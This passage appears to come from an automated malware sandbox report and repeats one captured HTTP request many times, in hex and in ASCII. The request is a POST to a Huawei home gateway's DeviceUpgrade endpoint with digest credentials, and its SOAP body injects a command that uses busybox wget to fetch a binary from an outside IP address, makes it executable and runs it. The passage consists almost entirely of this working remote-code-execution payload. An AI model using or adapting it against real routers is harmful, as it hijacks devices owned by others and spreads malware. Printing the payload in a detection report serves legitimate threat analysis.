-l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 